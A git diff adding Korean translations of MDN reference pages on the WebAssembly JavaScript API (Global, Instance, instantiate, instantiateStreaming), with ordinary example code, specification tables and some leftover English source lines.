+<p>{{page('/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Global/prototype', 'Properties')}}</p>
+
+<h3 id="Instance_methods">Instance methods</h3>
+
+<p>{{page('/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Global/prototype', 'Methods')}}</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>다음 예제에서는 <code>WebAssembly.Global()</code> 생성자를 사용하여 만드는 새 전역 인스턴스를 보여줍니다. 값이 0 인 변경 가능한 <code>i32</code> 유형으로 정의됩니다.</p>
+
+<p>The value of the global is then changed, first to <code>42</code> using the <code>Global.value</code> property, and then to 43 using the <code>incGlobal()</code> function exported out of the <code>global.wasm</code> module (this adds 1 to whatever value is given to it and then returns the new value). </p>
+
+<p>그런 다음 <code>global.value</code> 속성을 사용하여 <code>42</code>까지 전역 값을 변경 한 다음 <code>global.wasm</code> 모듈에서 내 보낸 <code>incGlobal()</code> 함수를 사용하여 43으로 변경합니다.(이것은 값이 주어진 값에 1을 더한 다음 새 값을 반환합니다.)</p>
+
+<pre class="brush: js">const output = document.getElementById('output');
+
+function assertEq(msg, got, expected) {
+    output.innerHTML += `Testing ${msg}: `;
+    if (got !== expected)
+        output.innerHTML += `FAIL!&lt;br&gt;Got: ${got}&lt;br&gt;Expected: ${expected}&lt;br&gt;`;
+    else
+        output.innerHTML += `SUCCESS! Got: ${got}&lt;br&gt;`;
+}
+
+assertEq("WebAssembly.Global exists", typeof WebAssembly.Global, "function");
+
+const global = new WebAssembly.Global({value:'i32', mutable:true}, 0);
+
+WebAssembly.instantiateStreaming(fetch('global.wasm'), { js: { global } })
+.then(({instance}) =&gt; {
+    assertEq("getting initial value from wasm", instance.exports.getGlobal(), 0);
+    global.value = 42;
+    assertEq("getting JS-updated value from wasm", instance.exports.getGlobal(), 42);
+    instance.exports.incGlobal();
+    assertEq("getting wasm-updated value from JS", global.value, 43);
+});</pre>
+
+<div class="note">
+<p><strong>Note</strong>: GitHub에서 실행중인 예제(<a href="https://mdn.github.io/webassembly-examples/js-api-examples/global.html">running live on GitHub</a>)를 볼 수 있습니다. <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/global.html">source code</a>도 참조하십시오.</p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#globals', 'WebAssembly.Global()')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Initial draft definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.WebAssembly.Global")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/ko/docs/WebAssembly">WebAssembly</a> overview page</li>
+ <li><a href="/ko/docs/WebAssembly/Concepts">WebAssembly concepts</a></li>
+ <li><a href="/ko/docs/WebAssembly/Using_the_JavaScript_API">Using the WebAssembly JavaScript API</a></li>
+ <li><a href="https://github.com/WebAssembly/mutable-global/blob/master/proposals/mutable-global/Overview.md">Import/Export mutable globals proposal</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/webassembly/global/prototype/index.html b/files/ko/web/javascript/reference/global_objects/webassembly/global/prototype/index.html
new file mode 100644
index 0000000000..3b7e8a9e2b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/webassembly/global/prototype/index.html
@@ -0,0 +1,69 @@
+---
+title: WebAssembly.Global.prototype
+slug: Web/JavaScript/Reference/Global_Objects/WebAssembly/Global/prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Global
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>WebAssembly.Global</strong></code><strong><code>.prototype</code></strong> 속성은 {{jsxref("WebAssembly.Global()")}} 생성자의 프로토 타입을 나타냅니다.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>모든 {{jsxref("WebAssembly.Global")}} 인스턴스는 <code>Global.prototype</code>에서 상속받습니다. {{jsxref("WebAssembly.Global()")}} 생성자의 프로토 타입 객체는 모든 {{jsxref( "WebAssembly.Global")}} 인스턴스에 영향을 미치도록 수정할 수 있습니다.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt><code>Global.prototype.constructor</code></dt>
+ <dd>이 객체의 인스턴스를 생성 한 함수를 돌려줍니다. 기본적으로 이것은 {{jsxref("WebAssembly.Global()")}} 생성자입니다.</dd>
+ <dt><code>Global.prototype[@@toStringTag]</code></dt>
+ <dd><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol/toStringTag">@@toStringTag</a> 속성의 초기 값은 String 값인 "WebAssembly.Global"입니다.</dd>
+ <dt><code>Global.prototype.value</code></dt>
+ <dd>전역 변수에 포함 된 값 - 전역 값을 직접 설정하고 가져 오는 데 사용할 수 있습니다.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt><code>Global.prototype.valueOf()</code></dt>
+ <dd>전역 변수에 포함 된 값을 반환하는 Old-style 메서드입니다.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#globals', 'WebAssembly.Global()')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Initial draft definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.WebAssembly.Global.prototype")}}</p>
+</div>
+
+<div>
+
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("WebAssembly.Global()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/webassembly/index.html b/files/ko/web/javascript/reference/global_objects/webassembly/index.html
new file mode 100644
index 0000000000..8412c9f0e4
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/webassembly/index.html
@@ -0,0 +1,100 @@
+---
+title: WebAssembly
+slug: Web/JavaScript/Reference/Global_Objects/WebAssembly
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>WebAssembly</code></strong> 자바스크립트 객체는 모든 <a href="/ko/docs/WebAssembly">WebAssembly</a>에 관계된 기능의 네임스페이스로서 역할합니다.</p>
+
+<p>대부분의 전역객체와 다르게, <code>WebAssembly</code>는 생성자가 아닙니다 (함수 객체가 아닙니다). 비슷한 예로 수학적인 상수나 함수들을 담고있는 {{jsxref("Math")}} 객체나, 국제화 관련 생성자나 언어에 민감한 다른 함수들을 담고있는 {{jsxref("Intl")}} 등이 있습니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>WebAssembly</code> 객체의 기본적인 사용례는 다음과 같습니다:</p>
+
+<ul>
+ <li>{{jsxref("WebAssembly.instantiate()")}} 함수를 사용해서 웹어셈블리 코드 불러오기.</li>
+ <li>{{jsxref("WebAssembly.Memory()")}}/{{jsxref("WebAssembly.Table()")}} 생성자로 새 메모리와 테이블 인스턴스 생성하기.</li>
+ <li>{{jsxref("WebAssembly.CompileError()")}}/{{jsxref("WebAssembly.LinkError()")}}/{{jsxref("WebAssembly.RuntimeError()")}} 생성자로 웹어셈블리에서 발생하는 에러에 대한 처리장치 만들기.</li>
+</ul>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("WebAssembly.instantiate()")}}</dt>
+ <dd>WebAssembly 코드를 컴파일하고 인스턴스화하여 <code>Module</code>과 첫 번째 <code>Instance</code>를 반환하는 기본 API입니다.</dd>
+ <dt>{{jsxref("WebAssembly.instantiateStreaming()")}}</dt>
+ <dd>스트리밍 된 원본 소스에서 직접 WebAssembly 모듈을 컴파일하고 인스턴스화하여 <code>Module</code>과 첫 번째 <code>Instance</code>를 반환합니다.</dd>
+ <dt>{{jsxref("WebAssembly.compile()")}}</dt>
+ <dd>WebAssembly 바이너리 코드에서 {{jsxref("WebAssembly.Module")}}을 컴파일하여 인스턴스화를 별도의 단계로 남겨 둡니다.</dd>
+ <dt>{{jsxref("WebAssembly.compileStreaming()")}}</dt>
+ <dd>{{jsxref("WebAssembly.Module")}}을 스트림 된 원본 소스에서 직접 컴파일하여 인스턴스화를 별도의 단계로 남겨 둡니다.</dd>
+ <dt>{{jsxref("WebAssembly.validate()")}}</dt>
+ <dd>바이트가 유효한 WebAssembly 코드 (<code>true</code>)인지 아닌지 (<code>false</code>)를 반환하여 WebAssembly 바이너리 코드의 지정된 입력 된 배열을 확인합니다.</dd>
+</dl>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{jsxref("WebAssembly.Global()")}}</dt>
+ <dd>Creates a new WebAssembly <code>Global</code> object.</dd>
+ <dt>{{jsxref("WebAssembly.Module()")}}</dt>
+ <dd>Creates a new WebAssembly <code>Module</code> object.</dd>
+ <dt>{{jsxref("WebAssembly.Instance()")}}</dt>
+ <dd>Creates a new WebAssembly <code>Instance</code> object.</dd>
+ <dt>{{jsxref("WebAssembly.Memory()")}}</dt>
+ <dd>Creates a new WebAssembly <code>Memory</code> object.</dd>
+ <dt>{{jsxref("WebAssembly.Table()")}}</dt>
+ <dd>Creates a new WebAssembly <code>Table</code> object.</dd>
+ <dt>{{jsxref("WebAssembly.CompileError()")}}</dt>
+ <dd>Creates a new WebAssembly <code>CompileError</code> object.</dd>
+ <dt>{{jsxref("WebAssembly.LinkError()")}}</dt>
+ <dd>Creates a new WebAssembly <code>LinkError</code> object.</dd>
+ <dt>{{jsxref("WebAssembly.RuntimeError()")}}</dt>
+ <dd>Creates a new WebAssembly <code>RuntimeError</code> object.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제 (GitHub의 <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/instantiate-streaming.html">instantiate-streaming.html</a> 데모보기 및 <a href="https://mdn.github.io/webassembly-examples/js-api-examples/instantiate-streaming.html">라이브보기</a>)에서는 기본 소스에서 .wasm 모듈을 직접 스트리밍 한 다음 컴파일하고 인스턴스화합니다. 프로미스는 <code>ResultObject</code>로 충족됩니다. <code>instantiateStreaming()</code> 함수는 {{domxref ( "Response")}} 객체에 대한 promise를 받아들이므로 직접 {{domxref ( "WindowOrWorkerGlobalScope.fetch()")}} 호출에 전달할 수 있습니다.</p>
+
+<pre><code>var importObject = { imports: { imported_func: arg =&gt; console.log(arg) } };
+
+WebAssembly.instantiateStreaming(fetch('simple.wasm'), importObject)
+.then(obj =&gt; obj.instance.exports.exported_func());</code></pre>
+
+<p>그런 다음 ResultObject의 인스턴스 구성에 액세스하고 그 안에 있는 <code>exported_func</code>을 호출합니다.</p>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">스펙</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#the-webassembly-object', 'WebAssembly')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>초안 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.WebAssembly")}}</div>
+
+
+
+<h2 id="바깥_고리">바깥 고리</h2>
+
+<ul>
+ <li><a href="/ko/docs/WebAssembly">웹어셈블리</a> 개요 페이지</li>
+ <li><a href="/ko/docs/WebAssembly/Concepts">웹어셈블리의 컨셉</a></li>
+ <li><a href="/en-US/docs/WebAssembly/Using_the_JavaScript_API">Using the WebAssembly JavaScript API</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/webassembly/instance/index.html b/files/ko/web/javascript/reference/global_objects/webassembly/instance/index.html
new file mode 100644
index 0000000000..3141c6809a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/webassembly/instance/index.html
@@ -0,0 +1,74 @@
+---
+title: WebAssembly.Instance
+slug: Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>WebAssembly.Instance</code></strong> 개체는 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Module">WebAssembly.Module</a>의 상태 저장되고 실행 가능한 인스턴스입니다. <code>Instance</code> 객체에는 JavaScript에서 WebAssembly 코드로 호출 할 수있는 모든 <a href="/ko/docs/WebAssembly/Exported_functions">Exported WebAssembly functions</a>가 포함되어 있습니다.</p>
+
+<p>주어진 {{jsxref ( "WebAssembly.Module")}} 객체를 동기적으로 인스턴스화하기 위해 <code>WebAssembly.Instance()</code> 생성자 함수를 호출 할 수 있습니다. 하지만 <code>Instance</code>를 가져 오는 주요 방법은 비동기 {{jsxref ( "WebAssembly.instantiateStreaming ()")}} 함수를 사용하는 것입니다.</p>
+
+<h2 id="생성자_구문">생성자 구문</h2>
+
+<div class="warning">
+<p><strong>중요</strong>: 대형 모듈의 인스턴스화는 비용이 많이들 수 있으므로 개발자는 동기 인스턴스 생성이 절대적으로 필요한 경우에만 Instance () 생성자를 사용해야합니다. 비동기 {{jsxref ( "WebAssembly.instantiateStreaming ()")}} 메서드를 사용하세요.</p>
+</div>
+
+<pre class="syntaxbox">var myInstance = new WebAssembly.Instance(<em>module</em>, <em>importObject</em>);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code><em>module</em></code></dt>
+ <dd>인스턴스화 할 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Module" title="The Module() constructor of the WebAssembly global object creates a new Module object instance."><code>WebAssembly.Module</code></a> 객체입니다.</dd>
+ <dt><code><em>importObject</em></code> {{optional_inline}}</dt>
+ <dd>함수 또는 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory" title="The Memory() constructor of the WebAssembly global object creates a new Memory object instance, which represents a WebAssembly memory. These can be thought of as resizeable array buffers, wrappers around WebAssembly memories."><code>WebAssembly.Memory</code></a>객체와 같이 새로 생성 된 인스턴스로 가져올 값을 포함하는 객체입니다. 선언 된 각 <code>module</code> 가져오기에 대해 일치하는 속성이 하나 있어야합니다. 그렇지 않으면 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/LinkError">WebAssembly.LinkError</a>가 발생합니다.</dd>
+</dl>
+
+<h2 id="Instance_인스턴스"><code>Instance</code> 인스턴스</h2>
+
+<p>모든 <code>Instance</code> 인스턴스는 <code>Instance()</code> 생성자의 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance/prototype">prototype object</a>에서 상속받습니다.이 인스턴스를 수정하면 모든 <code>Instance</code> 인스턴스에 영향을 줍니다.</p>
+
+<h3 id="인스턴스_속성">인스턴스 속성</h3>
+
+<p>{{page('/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance/prototype', 'Properties')}}</p>
+
+<h3 id="인스턴스_메서드">인스턴스 메서드</h3>
+
+<p>{{page('/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance/prototype', 'Methods')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#webassemblyinstance-objects', 'Instance')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Initial draft definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.WebAssembly.Instance")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/WebAssembly">WebAssembly</a> overview page</li>
+ <li><a href="/ko/docs/WebAssembly/Concepts">WebAssembly concepts</a></li>
+ <li><a href="/ko/docs/WebAssembly/Using_the_JavaScript_API">Using the WebAssembly JavaScript API</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/webassembly/instantiate/index.html b/files/ko/web/javascript/reference/global_objects/webassembly/instantiate/index.html
new file mode 100644
index 0000000000..c7b250c090
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/webassembly/instantiate/index.html
@@ -0,0 +1,168 @@
+---
+title: WebAssembly.instantiate()
+slug: Web/JavaScript/Reference/Global_Objects/WebAssembly/instantiate
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/instantiate
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>WebAssembly.instantiate()</code></strong> 함수를 사용하면 WebAssembly 코드를 컴파일하고 인스턴스화 할 수 있습니다. 이 함수에는 두개의 overloads가 있습니다.</p>
+
+<ul>
+ <li>기본 오버로드는 <a href="/en-US/docs/Web/JavaScript/Typed_arrays">typed array</a> 또는 {{jsxref ( "ArrayBuffer")}}의 형태로 WebAssembly 바이너리 코드를 취해 컴파일 및 인스턴스화를 한 번에 수행합니다. 반환 된 Promise는 컴파일 된 {{jsxref ( "WebAssembly.Module")}} 및 첫 번째 {{jsxref ( "WebAssembly.Instance")}}로 해석됩니다.</li>
+ <li>두번째 오버로드는 이미 컴파일 된 {{jsxref ( "WebAssembly.Module")}}을 취하여 해당 <code>Module</code>의 <code>Instance</code>로 해석되는 <code>Promise</code>을 반환합니다. 이 overload는 <code>Module</code>이 이미 컴파일된 경우 유용합니다.</li>
+</ul>
+
+<div class="warning">
+<p><strong>중요 : </strong><strong>이 방법은 wasm 모듈을 가져와 인스턴스화하는 가장 효율적인 방법은 아닙니다. 가능하다면 원시 바이트 코드에서 모듈을 모두 한 단계로 가져오고, 컴파일하고 인스턴스화하는 대신 최신 {{jsxref ( "WebAssembly.instantiateStreaming ()")}} 메서드를 사용해야합니다. {{jsxref ( "ArrayBuffer")}} 로의 변환이 필요합니다.</strong></p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<h3 id="Primary_overload_—_taking_wasm_binary_code">Primary overload — taking wasm binary code</h3>
+
+<pre class="syntaxbox">Promise&lt;ResultObject&gt; WebAssembly.instantiate(bufferSource, importObject);
+</pre>
+
+<h4 id="Parameters">Parameters</h4>
+
+<dl>
+ <dt><em>bufferSource</em></dt>
+ <dd>컴파일 할 .wasm 모듈의 이진 코드가 들어있는 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Typed_arrays">typed array</a> 또는 {{jsxref("ArrayBuffer")}}입니다.</dd>
+ <dt><em>importObject</em> {{optional_inline}}</dt>
+ <dd>함수 또는 {{jsxref ( "WebAssembly.Memory")}} 객체와 같이 새로 생성 된 <code>인스턴스</code>로 가져올 값을 포함하는 객체입니다. 컴파일 된 모듈의 각 선언 된 가져 오기에 대해 하나의 일치하는 속성이 있어야합니다. 그렇지 않으면 {{jsxref("WebAssembly.LinkError")}}가 발생합니다.</dd>
+</dl>
+
+<h4 id="Return_value">Return value</h4>
+
+<p>두개의 필드를 포함하는 <code>ResultObject</code>를 가진 <code>Promise</code>를 반환:</p>
+
+<ul>
+ <li><code>module</code>: 컴파일 된 WebAssembly 모듈을 나타내는 {{jsxref ( "WebAssembly.Module")}} 객체입니다. 이 <code>Module</code>은 {{domxref("Worker.postMessage", "postMessage()")}}를 통해 공유되거나 <a href="/en-US/docs/WebAssembly/Caching_modules">cached in IndexedDB</a>로 다시 인스턴스화 될 수 있습니다.</li>
+ <li><code>instance</code>: <a href="/en-US/docs/WebAssembly/Exported_functions">Exported WebAssembly functions</a>을 포함하는 {{jsxref ( "WebAssembly.Instance")}} 객체입니다.</li>
+</ul>
+
+<h4 id="Exceptions">Exceptions</h4>
+
+<ul>
+ <li>매개 변수 중 하나가 올바른 유형 또는 구조가 아니면 {{jsxref ( "TypeError")}}가 발생합니다.</li>
+ <li>작업이 실패하면 promise는 실패 원인에 따라 {{jsxref ( "WebAssembly.CompileError")}}, {{jsxref ( "WebAssembly.LinkError")}} 또는 {{jsxref ( "WebAssembly.RuntimeError")}}로 reject됩니다.</li>
+</ul>
+
+<h3 id="Secondary_overload_—_taking_a_module_object_instance">Secondary overload — taking a module object instance</h3>
+
+<pre class="syntaxbox">Promise&lt;WebAssembly.Instance&gt; WebAssembly.instantiate(module, importObject);
+</pre>
+
+<h4 id="Parameters_2">Parameters</h4>
+
+<dl>
+ <dt><em>module</em></dt>
+ <dd>{{jsxref ( "WebAssembly.Module")}} 객체가 인스턴스화됩니다.</dd>
+ <dt><em>importObject</em> {{optional_inline}}</dt>
+ <dd>함수 또는 {{jsxref ( "WebAssembly.Memory")}} 객체와 같이 새로 생성 된 인스턴스로 가져올 값을 포함하는 객체입니다. 선언 된 각 <code>module</code> 가져 오기에 대해 일치하는 속성이 하나 있어야합니다. 그렇지 않으면 {{jsxref("WebAssembly.LinkError")}} 가 발생합니다.</dd>
+</dl>
+
+<h4 id="Return_value_2">Return value</h4>
+
+<p>A <code>Promise</code> that resolves to an {{jsxref("WebAssembly.Instance")}} object.</p>
+
+<h4 id="Exceptions_2">Exceptions</h4>
+
+<ul>
+ <li>매개 변수 중 하나가 올바른 유형 또는 구조가 아니면 {{jsxref ( "TypeError")}}가 발생합니다.</li>
+ <li>If the operation fails, the promise rejects with a {{jsxref("WebAssembly.CompileError")}}, {{jsxref("WebAssembly.LinkError")}}, or {{jsxref("WebAssembly.RuntimeError")}}, depending on the cause of the failure. <br>
+  작업이 실패하면 promise는 실패 원인에 따라 {{jsxref ( "WebAssembly.CompileError")}}, {{jsxref ( "WebAssembly.LinkError")}} 또는 {{jsxref ( "WebAssembly.RuntimeError")}}로 reject됩니다.</li>
+</ul>
+
+<h2 id="Examples">Examples</h2>
+
+<p><strong>Note</strong>: 대부분의 경우 <code>instantiate()</code>보다 더 효율적이므로 {{jsxref ( "WebAssembly.instantiateStreaming ()")}}을 사용하는 것이 좋습니다.</p>
+
+<h3 id="First_overload_example">First overload example</h3>
+
+<p>fetch를 사용하여 일부 WebAssembly 바이트 코드를 가져온 후 우리는 {{jsxref ( "WebAssembly.instantiate ()")}} 함수를 사용하여 모듈을 컴파일하고 인스턴스화하여 해당 프로세스에서 JavaScript 함수를 WebAssembly 모듈로 가져옵니다. 그런 다음 <code>Instance</code>에서 <a href="/en-US/docs/WebAssembly/Exported_functions">Exported WebAssembly function</a>를 호출합니다.</p>
+
+<pre class="brush: js">var importObject = {
+  imports: {
+    imported_func: function(arg) {
+      console.log(arg);
+    }
+  }
+};
+
+fetch('simple.wasm').then(response =&gt;
+  response.arrayBuffer()
+).then(bytes =&gt;
+  WebAssembly.instantiate(bytes, importObject)
+).then(result =&gt;
+  result.instance.exports.exported_func()
+);</pre>
+
+<div class="note">
+<p><strong>Note</strong>: 이 예제는 GitHub의 <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/index.html">index.html</a>에서도 찾을 수 있습니다 (<a href="https://mdn.github.io/webassembly-examples/js-api-examples/">라이브보기도 있음</a>).</p>
+</div>
+
+<h3 id="Second_overload_example">Second overload example</h3>
+
+<p>다음 예제는 (GitHub의 <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/index-compile.html">index-compile.html</a> 데모 혹은 <a href="https://mdn.github.io/webassembly-examples/js-api-examples/index-compile.html">라이브로 보기</a>). {{jsxref ( "WebAssembly.compileStreaming ()")}} 메서드를 사용하여 로드된 simple.wasm 바이트 코드를 컴파일 한 다음 {{domxref("Worker.postMessage", "postMessage()")}}를 사용하여 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API">worker</a>에게 전달합니다.</p>
+
+<pre class="brush: js">var worker = new Worker("wasm_worker.js");
+
+WebAssembly.compileStreaming(fetch('simple.wasm'))
+.then(mod =&gt;
+  worker.postMessage(mod)
+);</pre>
+
+<p>작업자 (<code><a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/wasm_worker.js">wasm_worker.js</a></code> 참조)에서 모듈이 사용할 가져 오기 객체를 정의한 다음 주 스레드에서 모듈을 수신 할 이벤트 핸들러를 설정합니다. 모듈을 받으면 {{jsxref ( "WebAssembly.instantiate ()")}} 메소드를 사용하여 인스턴스를 만들고 내부에서 내 보낸 함수를 호출합니다.</p>
+
+<pre class="brush: js">var importObject = {
+  imports: {
+    imported_func: function(arg) {
+      console.log(arg);
+    }
+  }
+};
+
+onmessage = function(e) {
+  console.log('module received from main thread');
+  var mod = e.data;
+
+  WebAssembly.instantiate(mod, importObject).then(function(instance) {
+    instance.exports.exported_func();
+  });
+};</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#webassemblyinstantiate', 'instantiate()')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Initial draft definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("javascript.builtins.WebAssembly.instantiate")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAssembly">WebAssembly</a> overview page</li>
+ <li><a href="/en-US/docs/WebAssembly/Concepts">WebAssembly concepts</a></li>
+ <li><a href="/en-US/docs/WebAssembly/Using_the_JavaScript_API">Using the WebAssembly JavaScript API</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/webassembly/instantiatestreaming/index.html b/files/ko/web/javascript/reference/global_objects/webassembly/instantiatestreaming/index.html
new file mode 100644
index 0000000000..e1b2fde3b7
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/webassembly/instantiatestreaming/index.html
@@ -0,0 +1,83 @@
+---
+title: WebAssembly.instantiateStreaming()
+slug: Web/JavaScript/Reference/Global_Objects/WebAssembly/instantiateStreaming
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/instantiateStreaming
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>WebAssembly.instantiateStreaming()</code></strong> 함수는 스트림 된 원본 소스에서 직접 WebAssembly 모듈을 컴파일하고 인스턴스화합니다. Wasm 코드를로드하는 가장 효율적이고 최적화 된 방법입니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">Promise&lt;ResultObject&gt; WebAssembly.instantiateStreaming(<em>source</em>, <em>importObject</em>);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><em>source</em></dt>
+ <dd>스트리밍, 컴파일 및 인스턴스화하려는 .wasm 모듈의 기본 소스를 나타내는 {{domxref ( "Response")}} 객체 또는 promise.</dd>
+ <dt><em>importObject</em> {{optional_inline}}</dt>
+ <dd>함수 또는 {{jsxref("WebAssembly.Memory")}} 객체와 같이 새로 생성 된 <code>Instance</code>로 가져올 값을 포함하는 객체입니다. 컴파일 된 모듈의 각 선언 된 가져 오기에 대해 하나의 일치하는 속성이 있어야합니다. 그렇지 않으면 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/LinkError">WebAssembly.LinkError</a>가 발생합니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>두 개의 필드를 포함하는 <code>ResultObject</code>로 해석되는 <code>Promise</code> :</p>
+
+<ul>
+ <li><code>module</code>: 컴파일 된 WebAssembly 모듈을 나타내는 {{jsxref ( "WebAssembly.Module")}} 객체입니다. 이 <code>Module</code>은 다시 인스턴스화되거나 <a href="/en-US/docs/Web/API/Worker/postMessage">postMessage()</a>를 통해 공유 될 수 있습니다.</li>
+ <li><code>instance</code>: <a href="/en-US/docs/WebAssembly/Exported_functions">Exported WebAssembly functions</a>를 포함하는 {{jsxref ( "WebAssembly.Instance")}} 객체입니다.</li>
+</ul>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li>매개 변수 중 하나가 올바른 유형 또는 구조가 아니면 {{jsxref ( "TypeError")}}가 발생합니다.</li>
+ <li>작업작업이 실패하면 promise는 실패 원인에 따라 {{jsxref ( "WebAssembly.CompileError")}}, {{jsxref ( "WebAssembly.LinkError")}} 또는 {{jsxref ( "WebAssembly.RuntimeError")}}로 거부됩니다.</li>
+</ul>
+
+<h2 id="Examples">Examples</h2>
+
